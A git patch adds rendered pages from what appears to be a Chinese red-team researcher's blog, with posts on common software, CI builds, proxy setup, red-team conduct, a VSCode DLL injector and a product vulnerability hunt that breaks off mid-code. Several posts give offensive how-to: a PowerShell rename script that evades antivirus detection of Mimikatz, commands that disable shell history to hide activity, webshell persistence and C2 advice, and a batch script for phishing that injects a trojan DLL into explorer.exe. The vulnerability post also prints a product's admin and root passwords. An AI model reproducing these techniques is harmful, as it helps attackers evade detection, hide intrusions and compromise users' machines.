From e2d2b90525454dc08de7188bfcf3e2e80a79a41c Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 29 Jul 2024 11:10:12 +0000 Subject: [PATCH] fix expected : ae78cdab52b30e16735f789c7f6e661fc3fad3e8 --- .../2023-07-19/useful-software/index.html | 3 + archivers/2023-07-23/appveyor/index.html | 33 + archivers/2023-08-07/clash-config/index.html | 139 ++++ .../index.html | 15 + archivers/2023-09-08/vscode-dll/index.html | 291 ++++++++ archivers/2023-09-18/code-auditing/index.html | 654 ++++++++++++++++++ archivers/2023-09-18/phishing/index.html | 37 + archivers/2023-10-31/good-habits/index.html | 109 +++ .../2023-12-29/year-end-summary/index.html | 3 + archivers/2024-06-04/coze-ai/index.html | 319 +++++++++ index.html | 22 +- index.xml | 90 ++- page/10/index.html | 22 +- page/11/index.html | 27 +- page/12/index.html | 27 +- page/13/index.html | 24 +- page/14/index.html | 13 + page/2/index.html | 22 +- page/3/index.html | 22 +- page/4/index.html | 22 +- page/5/index.html | 22 +- page/6/index.html | 22 +- page/7/index.html | 22 +- page/8/index.html | 22 +- page/9/index.html | 22 +- posts/index.html | 12 +- posts/index.xml | 90 ++- sitemap.xml | 2 +- "tags/ai\347\233\270\345\205\263/index.html" | 3 + "tags/ai\347\233\270\345\205\263/index.xml" | 5 + tags/appveyor/index.html | 3 + tags/appveyor/index.xml | 20 + tags/clash/index.html | 3 + tags/clash/index.xml | 3 + tags/index.html | 10 +- tags/index.xml | 2 +- tags/phishing/index.html | 3 + tags/phishing/index.xml | 6 + tags/redteam/index.html | 3 + tags/redteam/index.xml | 2 + tags/useful-software/index.html | 3 + tags/useful-software/index.xml | 3 + tags/vscode/index.html | 3 + tags/vscode/index.xml | 5 + .../index.html" | 3 + .../index.xml" | 9 + .../index.html" | 4 + .../index.xml" | 44 ++ 48 files changed, 2089 insertions(+), 156 deletions(-) create mode 100644 archivers/2023-07-19/useful-software/index.html create mode 100644 archivers/2023-07-23/appveyor/index.html create mode 100644 archivers/2023-08-07/clash-config/index.html create mode 100644 archivers/2023-08-10/redteam-operation-code-of-conduct/index.html create mode 100644 archivers/2023-09-08/vscode-dll/index.html create mode 100644 archivers/2023-09-18/code-auditing/index.html create mode 100644 archivers/2023-09-18/phishing/index.html create mode 100644 archivers/2023-10-31/good-habits/index.html create mode 100644 archivers/2023-12-29/year-end-summary/index.html create mode 100644 archivers/2024-06-04/coze-ai/index.html create mode 100644 page/14/index.html create mode 100644 "tags/ai\347\233\270\345\205\263/index.html" create mode 100644 "tags/ai\347\233\270\345\205\263/index.xml" create mode 100644 tags/appveyor/index.html create mode 100644 tags/appveyor/index.xml create mode 100644 tags/clash/index.html create mode 100644 tags/clash/index.xml create mode 100644 tags/phishing/index.html create mode 100644 tags/phishing/index.xml create mode 100644 tags/redteam/index.html create mode 100644 tags/redteam/index.xml create mode 100644 tags/useful-software/index.html create mode 100644 tags/useful-software/index.xml create mode 100644 tags/vscode/index.html create mode 100644 tags/vscode/index.xml create mode 100644 "tags/\344\273\243\347\240\201\345\256\241\350\256\241/index.html" create mode 100644 "tags/\344\273\243\347\240\201\345\256\241\350\256\241/index.xml" create mode 100644 "tags/\345\277\203\346\203\205\351\232\217\347\254\224/index.html" create mode 100644 "tags/\345\277\203\346\203\205\351\232\217\347\254\224/index.xml" diff --git a/archivers/2023-07-19/useful-software/index.html b/archivers/2023-07-19/useful-software/index.html new file mode 100644 index 0000000..4fde333 --- /dev/null +++ b/archivers/2023-07-19/useful-software/index.html @@ -0,0 +1,3 @@ +常用软件记录 - 倾旋的博客 +
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

19 +Jul 2023

常用软件记录

操作系统-[镜像]

推荐使用LTSC版本的操作系统,系统比较纯净,但需要激活

比较推荐直接去一些软件源上下载,这里举例清华源

操作系统工具-[Linux]

软件中心

软件分析

浏览器插件

影视资源

  • BT之家:btbtt15[.]com
  • 樱花动漫:yinghuadongman[.]me

操作系统工具-[Windows]

网页工具

\ No newline at end of file diff --git a/archivers/2023-07-23/appveyor/index.html b/archivers/2023-07-23/appveyor/index.html new file mode 100644 index 0000000..a290435 --- /dev/null +++ b/archivers/2023-07-23/appveyor/index.html @@ -0,0 +1,33 @@ +使用Appveyor构建VS项目-快速编译 - 倾旋的博客 +
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

23 +Jul 2023

使用Appveyor构建VS项目-快速编译

前言

Appveyor简介

我们为Windows开发人员提供持续集成工具。该服务是免费提供给开源项目使用的,我们为私有项目提供订阅服务,并在客户现场提供AppVeyor企业安装服务。

迄今为止,已有超过50,000名开发人员使用了AppVeyor,并运行了超过1000万次构建。AppVeyor受到微软、谷歌、Facebook、Mozilla、Slack、GitHub等公司的信任。

About | AppVeyor

构建Github项目

AppVeyor提供了它特有的配置文件用于声明构建动作,开发者可以通过编写AppVeyor配置文件来控制程序的发布流程。

这里只讨论没有AppVeyor配置文件的项目,以https://github.com/goldshtn/etrace为例,etrace是一个命令行工具,用于实时跟踪 ETW 事件和 处理现有的 .etl 录制文件。它的灵感来自Microsoft ELT工具。

0

该项目没有AppVeyor配置文件,首先Fork这个项目到自己账户名下,然后访问https://www.appveyor.com/,以Github账户登录,并且授权读取此仓库。

1

在Github这一栏可以看到授权的仓库,点击 +ADD 就可以进入项目的构建配置界面:

2

由于这个项目是采用C#开发的,所以我们着重关注C#相关的配置:

3

在Before build script中输入如下命令,会在开始编译之前去下载这个项目所依赖的库:

1
+
nuget restore
+

在开发.NET应用程序时,通常会使用NuGet来管理项目所依赖的第三方库和组件。NuGet是.NET生态系统中最受欢迎的包管理器之一,它提供了一个中央存储库,开发人员可以从中获取各种软件包和库。

“nuget restore"命令会读取项目文件(.csproj或.vbproj)中的依赖关系,并下载或还原所需的NuGet包,以确保项目可以成功编译和构建。这个命令通常在CI/CD(持续集成/持续交付)过程中使用,以确保在构建项目之前,所有的依赖关系都被正确地还原和安装。

除此之外,还可以在环境配置中设置安装开发库的命令:

4

最后一步就是设置二进制文件打包了,点击artifacts,可以配置要打包的路径,必须是相对路径,C#的程序一般会将二进制文件生成到bin目录下,所以我这里就写:etrace\bin

5

保存后,回到项目页面,点击Start New Build就开始构建了:

6

稍微等待一下,就可以看到构建好的程序了,直接下载就可以使用。

7

使用AppVeyor构建Mimikatz

Mimikatz是gentilkiwi使用C语言开发的Windows安全工具,该工具有着丰富的功能,能过从内存中提取明文密码,哈希,PIN码和kerberos票据、哈希传递等等,随着越来越多的黑客滥用此工具进行一些非法活动,因此gentilkiwi每发布一个Release,Release中的Mimikatz样本就会被标记为黑客工具,这对红队带来了一些小麻烦,通过AppVeyor我们可以自动化的做一些静态特征处理,然后自动构建产生新的工具。

gentilkiwi已经在Mimikatz项目中内置了一个AppVeyor的配置文件,这个配置文件会随着项目改动自动触发AppVeyor的构建流程。

8

我们要做的就是先Fork一份Mimikatz到自己的项目中,然后开始修改AppVeyor配置文件:

9

这里我只是做了一个工作,就是将代码中的所有Mimikatz字符串替换为aabbcc,当然还可以做很多其它的替换操作。

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+13
+14
+
ls;
+Copy-Item C:\projects\mimikatz\mimikatz\mimikatz.ico C:\projects\mimikatz\mimikatz\aabbcc.ico;
+(Get-ChildItem -Path "." -Recurse -File -Include *.h,*.c,*.vcxproj,*.rc) | ForEach-Object {
+    $newFileName = $_.Name -replace "mimikatz\.(h|c|rc)", "aabbcc.`$1"
+    $newPath = Join-Path -Path $_.Directory.FullName -ChildPath $newFileName
+    (Get-Content $_.FullName) | ForEach-Object {
+        $_ -ireplace "mimikatz", "aabbcc"
+    } | Set-Content $newPath
+    if ($newFileName -ne $_.Name) {
+        Remove-Item $_.FullName
+    }
+    Write-Host $newPath
+};
+ls mimikatz;
+

其中替换图标的操作可以改为从互联网下载某个地址的图标,这里就不赘述了。

我的配置文件地址:mimikatz/appveyor.yml at master · Rvn0xsy/mimikatz (github.com)

编译好的成品如下:

10

11

🥪总结

通过在线的CI/CD工具可以省去搭建环境的时间,由于CI/CD是事件触发的,每次改动都可以生成新的样本,相当于可以无限次的使用,若是有一些工具实在是非常敏感、静态特征多,可以像我这样写一个类似的批处理加入到CI/CD中做一些简单的对抗处理,本文仅仅是抛砖引玉,我相信还有更节约时间、更高效的方式。

\ No newline at end of file diff --git a/archivers/2023-08-07/clash-config/index.html b/archivers/2023-08-07/clash-config/index.html new file mode 100644 index 0000000..0a643fe --- /dev/null +++ b/archivers/2023-08-07/clash-config/index.html @@ -0,0 +1,139 @@ +记录一下配置Clash透明代理 - 倾旋的博客 +
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

07 +Aug 2023

记录一下配置Clash透明代理

📝Clash是什么?

https://github.com/Dreamacro/clash

Clash是一个支持多种协议隧道转发的工具,主要功能如下:

  • Inbound: HTTP, HTTPS, SOCKS5 server, TUN device
  • Outbound: Shadowsocks(R), VMess, Trojan, Snell, SOCKS5, HTTP(S), Wireguard
  • Rule-based Routing: dynamic scripting, domain, IP addresses, process name and more
  • Fake-IP DNS: minimises impact on DNS pollution and improves network performance
  • Transparent Proxy: Redirect TCP and TProxy TCP/UDP with automatic route table/rule management
  • Proxy Groups: automatic fallback, load balancing or latency testing
  • Remote Providers: load remote proxy lists dynamically
  • RESTful API: update configuration in-place via a comprehensive API

目前作者还在维护高级核心版(免费),为了尝试支持更多功能。

🪢关于透明代理

这里可以参考之前写过的一篇介绍:

Linux透明代理在红队渗透中的应用 | 倾旋的博客

配置Clash服务

这里需要注意的是需要设置redir-port,这个选项: Linux 和 macOS 的透明代理服务端口 (TCP 和 TProxy UDP 重定向)

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+
port: 7890
+socks-port: 7891
+allow-lan: true
+redir-port: 7892
+mode: Rule
+log-level: info
+external-controller: 127.0.0.1:9090
+experimental:
+  interface-name: enp34s0 # your interface-name
+dns:
+  enable: true
+  listen: 127.0.0.1:53
+  nameserver:
+    - 223.5.5.5
+  fallback:
+    - 'tls://1.1.1.1:853'
+    - 'tcp://1.1.1.1'
+    - 'tcp://208.67.222.222:443'
+    - 'tls://dns.google'
+

除此之外,最好编写一个服务文件,将Clash运行在其他用户身份下:

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+13
+14
+15
+
[Unit]
+Description=clash daemon
+
+[Service]
+Type=simple
+StandardError=journal
+User=clash
+Group=clash
+CapabilityBoundingSet=CAP_NET_BIND_SERVICE CAP_NET_ADMIN
+AmbientCapabilities=CAP_NET_BIND_SERVICE CAP_NET_ADMIN
+ExecStart=/usr/bin/clash -d /home/arch/.config/clash
+Restart=on-failure
+
+[Install]
+WantedBy=default.target
+

将服务文件拷贝到:/etc/systemd/system/

1
+2
+3
+
$ sudo systemctl daemon-reload # 重新扫描服务单元变更
+$ sudo systemctl enable clash  # 开机启动
+$ sudo systemctl start clash   # 启动Clash
+

设置DNS服务器地址,直接/etc/resolv.conf文件即可:

1
+2
+
# /etc/resolv.conf
+nameserver 127.0.0.1
+

配置iptables规则

在iptables中有一个owner模块,可以过滤指定用户的流量,对我们来说只需要将clash运行在一个单独的用户身份下,对这个用户的所有流量放行即可。

0

iptables命令:

1
+2
+3
+4
+5
+
# 添加规则
+sudo iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner clash ! -d 127.0.0.1 -j REDIRECT --to-port 7892
+
+# 删除规则
+sudo iptables -t nat -D OUTPUT -p tcp -m owner ! --uid-owner clash ! -d 127.0.0.1 -j REDIRECT --to-port 7892
+

这个命令的意思是将所有不属于用户ID为"clash"的TCP流量重定向到端口7892。

配置Clash规则

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+
proxies:
+  - ...server1
+  - ...server2
+proxy-groups:
+  - name: ProxyChian1
+    type: select
+    proxies:
+      - server1
+      - DIRECT
+- name: ProxyChian2
+    type: select
+    proxies:
+      - DIRECT
+	- name: 工作环境
+    type: select
+    proxies:
+      - server1
+rules:
+  - DOMAIN-SUFFIX,local,ProxyChian2
+  - DOMAIN-SUFFIX,localhost,ProxyChian2
+  - DOMAIN-SUFFIX,payloads.online,工作环境
+  - IP-CIDR,10.10.0.0/16,工作环境,no-resolve
+  - IP-CIDR,10.20.0.0/24,工作环境,no-resolve
+  - .....
+

通过rules可以配置不同的DNS域名、IP-CIDR目标地址的流量该走到哪个代理链上,这里我的规则仅仅只是示例,为了达到更好的网络体验,规则是上达几百行的。

1

如此一来,工作/上网问题不需要切换代理解决了。

\ No newline at end of file diff --git a/archivers/2023-08-10/redteam-operation-code-of-conduct/index.html b/archivers/2023-08-10/redteam-operation-code-of-conduct/index.html new file mode 100644 index 0000000..4b52ae5 --- /dev/null +++ b/archivers/2023-08-10/redteam-operation-code-of-conduct/index.html @@ -0,0 +1,15 @@ +红队行动守则 - 倾旋的博客 +
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

10 +Aug 2023

红队行动守则

攻击注意事项

  • 使用免杀Webshell(文件特征、流量特征),禁止使用开源社区通用Webshell,这些是我过去常用的Webshell: https://github.com/Rvn0xsy/usefull-code
  • 尽可能的删除依赖工具的软件特征、流量特征
  • 打点后先进行权限维持(并且最好都额外打一个内存马) 原因:单个Webshell即使免杀,也有可能被防守方发现,一旦被删除就失去了服务器控制权
  • 不执行敏感的操作(如反弹Shell)
  • 获取权限后的信息收集,通过网络、应用业务、服务器登录日志、命令执行日志判断当前机器是否是蜜罐
  • 核心关键隧道:使用规避内存扫描的C2解决方案
  • 端口反连使用常见端口,伪装正常应用流量(25,110,80,443,993,995,8080,8443)
  • C2基础设施配置为HTTPS/DNS上线,最好勿用HTTP,证书采用CDN服务商或Let’s Encrypt
  • 搭建正向的Web代理后,应当先研究如何提升隧道传输质量,避免多人扫描

Web正向代理的思考 | 倾旋的博客

  • 内网探测工具的选择尽可能脚本化、去特征、低频率
  • 隧道建立:采用开源魔改工具实现,避免流量和样本特征与公开的重合
  • 弱口令扫描:低频、小字典、优先尝试SSH/RDP/MySQL/MSSQL等弱口令(分两类:有数据的服务器、有管理端口的服务器)
  • 登录Linux服务器,应当避免Bash History被记录可使用sh来执行命令,或设置环境变量避免Bash记录历史命令。
1
+2
+3
+4
+5
+6
+
python -c 'import pty;pty.spawn("/bin/sh")'
+# or
+unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; 
+export HISTFILE=/dev/null; 
+export HISTSIZE=0;
+export HISTFILESIZE=0
+
  • 操作合规:非必要情况下,不修改任何服务器用户密码
  • 操作合规:非必要情况下,不使用破坏性较强的Exploit或者工具
  • 操作合规:非必要情况下,不要对内网进行大规模探测 例如不要/8
  • 操作合规:非必要情况下,切勿上来就进行扫描探测,先应对当前主机做详细的信息搜集和分析
  • 工具存放:工具统一存放在隐藏目录下,文件名称命名为服务进程(tomcat/nginx)等,有AV/EDR情况,工具应先本地测试免杀之后,再落地到目标服务器,最好有多个平替工具

反溯源注意事项

  • 外网攻击时:尽量使用虚拟机进行渗透,并且测试时不提交包含个人特征信息的手机号码、QQ、微信、其他信息,最好日常工作的浏览器和渗透攻击的浏览器用两个。一般我会创建攻击机的虚拟机快照,项目结束恢复初始状态,干干净净。
  • 内网攻击时:攻击结束必须进行痕迹清理,及时删除自用软件,如Webshell、免杀上线马、0day工具、扫描工具、自研工具,甚至包含系统日志。
  • 短线社工钓鱼:尽量避开技术人员,从非技术人员入手,钓鱼信息为非实名信息
  • 短线社工钓鱼:远程获取的可执行文件,谨慎点击(尤其是VPN客户端,谨防蜜罐),可以上传各类沙箱进行检测,同时运行可以采用虚拟机的方式。
  • 在开源社区获得系统或工具源代码后,谨慎打开,防止IDE的编译、加载、调试选项内藏上线命令。

职业操守

  • 禁止下载、更改业务数据(企业数据),修改业务系统密码(如路由器、Web站点后台、VPN)降低业务影响。
  • 禁止使用会造成不良后果的攻击方式(如DDOS攻击)。
  • 测试结束后删除Webshell等恶意文件或记住固定存放位置。
  • 禁止使用境外跳板机、VPN。
  • 使用统一攻击资源与授权攻击工具。
  • 对项目、行动内容在公开场合进行保密,不产生任何舆论影响。
\ No newline at end of file diff --git a/archivers/2023-09-08/vscode-dll/index.html b/archivers/2023-09-08/vscode-dll/index.html new file mode 100644 index 0000000..0d88552 --- /dev/null +++ b/archivers/2023-09-08/vscode-dll/index.html @@ -0,0 +1,291 @@ +VsCode扩展中的DLL注入器 - 倾旋的博客 +
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

08 +Sep 2023

VsCode扩展中的DLL注入器

安装完毕Python调试扩展后,会在扩展目录中生成一些文件:

0

1

其中以下两个文件是DLL注入器,分别对应X86和X64位操作系统:

  • inject_dll_x86.exe
  • inject_dll_amd64.exe

在windows文件夹中还保留了注入器的源代码:

2

路径:C:\Users\Administrator\.vscode\extensions\ms-python.python-2022.20.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\pydevd_attach_to_process\windows

  1
+  2
+  3
+  4
+  5
+  6
+  7
+  8
+  9
+ 10
+ 11
+ 12
+ 13
+ 14
+ 15
+ 16
+ 17
+ 18
+ 19
+ 20
+ 21
+ 22
+ 23
+ 24
+ 25
+ 26
+ 27
+ 28
+ 29
+ 30
+ 31
+ 32
+ 33
+ 34
+ 35
+ 36
+ 37
+ 38
+ 39
+ 40
+ 41
+ 42
+ 43
+ 44
+ 45
+ 46
+ 47
+ 48
+ 49
+ 50
+ 51
+ 52
+ 53
+ 54
+ 55
+ 56
+ 57
+ 58
+ 59
+ 60
+ 61
+ 62
+ 63
+ 64
+ 65
+ 66
+ 67
+ 68
+ 69
+ 70
+ 71
+ 72
+ 73
+ 74
+ 75
+ 76
+ 77
+ 78
+ 79
+ 80
+ 81
+ 82
+ 83
+ 84
+ 85
+ 86
+ 87
+ 88
+ 89
+ 90
+ 91
+ 92
+ 93
+ 94
+ 95
+ 96
+ 97
+ 98
+ 99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+
// inject_dll.cpp
+#include <iostream>
+#include <windows.h>
+#include <stdio.h>
+#include <conio.h>
+#include <tchar.h>
+#include <tlhelp32.h>
+
+#pragma comment(lib, "kernel32.lib")
+#pragma comment(lib, "user32.lib")
+
+// Helper to free data when we leave the scope.
+class DataToFree {
+public:
+    HANDLE hProcess;
+    HANDLE snapshotHandle;
+    
+    LPVOID remoteMemoryAddr;
+    int remoteMemorySize;
+    
+    DataToFree(){
+        this->hProcess = nullptr;
+        this->snapshotHandle = nullptr;
+        
+        this->remoteMemoryAddr = nullptr;
+        this->remoteMemorySize = 0;
+    }
+    
+    ~DataToFree() {
+        if(this->hProcess != nullptr){
+            
+            if(this->remoteMemoryAddr != nullptr && this->remoteMemorySize != 0){
+                VirtualFreeEx(this->hProcess, this->remoteMemoryAddr, this->remoteMemorySize, MEM_RELEASE);
+                this->remoteMemoryAddr = nullptr;
+                this->remoteMemorySize = 0;
+            }
+            
+            CloseHandle(this->hProcess);
+            this->hProcess = nullptr;
+        }
+
+        if(this->snapshotHandle != nullptr){
+            CloseHandle(this->snapshotHandle);
+            this->snapshotHandle = nullptr;
+        }
+    }
+};
+
+/**
+ * All we do here is load a dll in a remote program (in a remote thread).
+ *
+ * Arguments must be the pid and the dll name to run.
+ *
+ * i.e.: inject_dll.exe <pid> <dll path>
+ */
+int wmain( int argc, wchar_t *argv[ ], wchar_t *envp[ ] )
+{
+    std::cout << "Running executable to inject dll." << std::endl;
+    
+    // Helper to clear resources.
+    DataToFree dataToFree;
+    
+    if(argc != 3){
+        std::cout << "Expected 2 arguments (pid, dll name)." << std::endl;
+        return 1;
+    }
+ 
+    const int pid = _wtoi(argv[1]);
+    if(pid == 0){
+        std::cout << "Invalid pid." << std::endl;
+        return 2;
+    }
+    
+    const int MAX_PATH_SIZE_PADDED = MAX_PATH + 1;
+    char dllPath[MAX_PATH_SIZE_PADDED];
+    memset(&dllPath[0], '\0', MAX_PATH_SIZE_PADDED);
+    size_t pathLen = 0;
+    wcstombs_s(&pathLen, dllPath, argv[2], MAX_PATH);
+    
+    const bool inheritable = false;
+    const HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION, inheritable, pid);
+    if(hProcess == nullptr || hProcess == INVALID_HANDLE_VALUE){
+        std::cout << "Unable to open process with pid: " << pid << ". Error code: " << GetLastError() << "." << std::endl;
+        return 3;
+    }
+    dataToFree.hProcess = hProcess;
+    std::cout << "OpenProcess with pid: " << pid << std::endl;
+    
+    const LPVOID remoteMemoryAddr = VirtualAllocEx(hProcess, nullptr, MAX_PATH_SIZE_PADDED, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+    if(remoteMemoryAddr == nullptr){
+        std::cout << "Error. Unable to allocate memory in pid: " << pid << ". Error code: " << GetLastError() << "." << std::endl;
+        return 4;
+    }
+    dataToFree.remoteMemorySize = MAX_PATH_SIZE_PADDED;
+    dataToFree.remoteMemoryAddr = remoteMemoryAddr;
+    
+    std::cout << "VirtualAllocEx in pid: " << pid << std::endl;
+    
+    const bool written = WriteProcessMemory(hProcess, remoteMemoryAddr, dllPath, pathLen, nullptr);
+    if(!written){
+        std::cout << "Error. Unable to write to memory in pid: " << pid << ". Error code: " << GetLastError() << "." << std::endl;
+        return 5;
+    }
+    std::cout << "WriteProcessMemory in pid: " << pid << std::endl;
+    
+    const LPVOID loadLibraryAddress = (LPVOID) GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
+    if(loadLibraryAddress == nullptr){
+        std::cout << "Error. Unable to get LoadLibraryA address. Error code: " << GetLastError() << "." << std::endl;
+        return 6;
+    }
+    std::cout << "loadLibraryAddress: " << pid << std::endl;
+    
+    const HANDLE remoteThread = CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE) loadLibraryAddress, remoteMemoryAddr, 0, nullptr);
+    if (remoteThread == nullptr) {
+        std::cout << "Error. Unable to CreateRemoteThread. Error code: " << GetLastError() << "." << std::endl;
+        return 7;
+    }
+    
+    // We wait for the load to finish before proceeding to get the function to actually do the attach.
+    std::cout << "Waiting for LoadLibraryA to complete." << std::endl;
+    DWORD result = WaitForSingleObject(remoteThread, 5 * 1000);
+    
+    if(result == WAIT_TIMEOUT) {
+        std::cout << "WaitForSingleObject(LoadLibraryA thread) timed out." << std::endl;
+        return 8;
+        
+    } else if(result == WAIT_FAILED) {
+        std::cout << "WaitForSingleObject(LoadLibraryA thread) failed. Error code: " << GetLastError() << "." << std::endl;
+        return 9;
+    }
+    
+    std::cout << "Ok, finished dll injection." << std::endl;
+    return 0;
+}
+

签名情况:

3

使用方式,只需要两个参数:

  • pid : 目标进程的进程ID
  • dll name: 想要注入目标进程的DLL绝对路径
1
+2
+3
+
C:\Users\Administrator\Downloads>inject_dll_amd64.exe
+Running executable to inject dll.
+Expected 2 arguments (pid, dll name).
+

测试效果:

4

滥用思路:

  1. 钓鱼的时候可以发送一个BAT批处理脚本、dll注入器、dll木马
  2. BAT批处理:获取x64进程的pid
  3. BAT批处理:获取dll木马绝对路径
  4. BAT批处理:执行dll注入器,将dll木马注入到目标进程中

5

1
+2
+3
+4
+5
+6
+7
+
@echo off
+set target_process_name=explorer.exe
+set dll_name=calc_x64.dll
+set injecter=inject_dll_amd64.exe
+for /f "tokens=2" %%i in ('tasklist ^| findstr /i "%target_process_name%"') do set "pid=%%i"
+set "command=%CD%\%injecter% %pid% %CD%\%dll_name%"
+%command%
+

最后的最后,致谢 @Akkuman

\ No newline at end of file diff --git a/archivers/2023-09-18/code-auditing/index.html b/archivers/2023-09-18/code-auditing/index.html new file mode 100644 index 0000000..182ef93 --- /dev/null +++ b/archivers/2023-09-18/code-auditing/index.html @@ -0,0 +1,654 @@ +某安全数据交换系统的漏洞挖掘 - 倾旋的博客 +
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

18 +Sep 2023

某安全数据交换系统的漏洞挖掘

本文写于2022年,分享一下挖掘某安全数据交换系统漏洞的过程。

基本信息:

  • 后台管理界面用户名密码:admin/nxg@LL99
  • 操作系统:root / bo%Fn!71、uninxg / lx$zR9ce

配置网络

根据产品安装文档环境搭建完毕后,手动设置IP地址和DNS:

手工修改 /etc/resolv.conf

1
+2
+
nameserver 114.114.114.114
+nameserver 8.8.8.8
+

修改 /etc/NetworkManager/NetworkManager.conf 文件,在main部分添加 “dns=none” 选项:

1
+2
+3
+
[main]
+#plugins=ifcfg-rh
+dns=none
+

网络IP地址配置文件在 /etc/sysconfig/network-scripts 文件夹下:

0

我添加了两个网卡,其中一个用来供本机访问:

1

/etc/sysconfig/network-scripts/ifcfg-eth1-1

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
HWADDR=00:0C:29:4B:16:B4
+TYPE=Ethernet
+PROXY_METHOD=none
+BROWSER_ONLY=no
+BOOTPROTO=none
+IPADDR=192.168.117.100
+GATEWAY=192.168.117.2
+PREFIX=24
+DNS1=114.114.114.114
+DNS2=8.8.8.8
+DEFROUTE=yes
+IPV4_FAILURE_FATAL=no
+IPV4_DNS_PRIORITY=100
+IPV6INIT=no
+NAME=eth1
+UUID=8a47e710-cadd-49b5-b9b7-33a324c4ab66
+DEVICE=eth1
+ONBOOT=no
+

观察启动命令行:

1
+
/home/leagsoft/SafeDataExchange/jdk/bin/java -Dnop -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Dlog4j2.formatMsgNoLookups=true -javaagent:/home/leagsoft/SafeDataExchange/Apache/lib/jdc.jar -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0022 -Dignore.endorsed.dirs= -classpath /home/leagsoft/SafeDataExchange/Apache/bin/bootstrap.jar:/home/leagsoft/SafeDataExchange/Apache/bin/tomcat-juli.jar -Dcatalina.base=/home/leagsoft/SafeDataExchange/Apache -Dcatalina.home=/home/leagsoft/SafeDataExchange/Apache -Djava.io.tmpdir=/home/leagsoft/SafeDataExchange/Apache/temp org.apache.catalina.startup.Bootstrap start
+

/home/leagsoft/SafeDataExchange/Apache 是Tomcat的安装目录,webapps目录下是部署的应用源代码:

2

将war包通过ssh拷贝至本地就可以看到整个项目的源代码了。

3

源代码解密

将war包拷贝到本地通过idea打开,发现关键代码的实现都是空,连spring的控制器都是空,初步怀疑是被加密了,那么它是如何加密的呢?

4

既然网站可以正常跑起来,那么应该是运行时的某种技术手段实现,观察启动命令行:

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+
/home/leagsoft/SafeDataExchange/jdk/bin/java 
+-Dnop -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager 
+-Dlog4j2.formatMsgNoLookups=true 
+**-javaagent:/home/leagsoft/SafeDataExchange/Apache/lib/jdc.jar** 
+-Djdk.tls.ephemeralDHKeySize=2048 
+-Djava.protocol.handler.pkgs=org.apache.catalina.webresources 
+-Dorg.apache.catalina.security.SecurityListener.UMASK=0022 
+-Dignore.endorsed.dirs= 
+-classpath /home/leagsoft/SafeDataExchange/Apache/bin/bootstrap.jar:/home/leagsoft/SafeDataExchange/Apache/bin/tomcat-juli.jar 
+-Dcatalina.base=/home/leagsoft/SafeDataExchange/Apache -Dcatalina.home=/home/leagsoft/SafeDataExchange/Apache 
+-Djava.io.tmpdir=/home/leagsoft/SafeDataExchange/Apache/temp org.apache.catalina.startup.Bootstrap start
+

命令行中有一个javaagent引起了我的注意:

1
+
-javaagent:/home/leagsoft/SafeDataExchange/Apache/lib/jdc.jar 
+

将lib文件夹拷贝到项目中,观察jar包的结构:

5

看样子是调用了javassist实现了一种内存补丁技术,找到Agent的入口方法,看看它做了什么:

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+13
+14
+15
+16
+17
+
//
+// Source code recreated from a .class file by IntelliJ IDEA
+// (powered by Fernflower decompiler)
+//
+
+package com.leagsoft.declass;
+
+import java.lang.instrument.Instrumentation;
+
+public class Agent {
+    public Agent() {
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        CoreAgent.premain(args, inst);
+    }
+}
+

跟进CoreAgent.premain

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+13
+14
+15
+16
+
public class CoreAgent {
+    public CoreAgent() {
+    }
+
+    public static void premain(String args, Instrumentation inst) {
+        if (inst != null) {
+            File file = new File("../../Ini/ec.file");
+            Map<String, String> configMap = ECFileConfig.getConfig();
+            byte[] bytes = IoUtils.readFileToByte(file);
+            byte[] by = EncryptUtils.de(bytes, ((String)configMap.get("pf")).toCharArray(), 1);
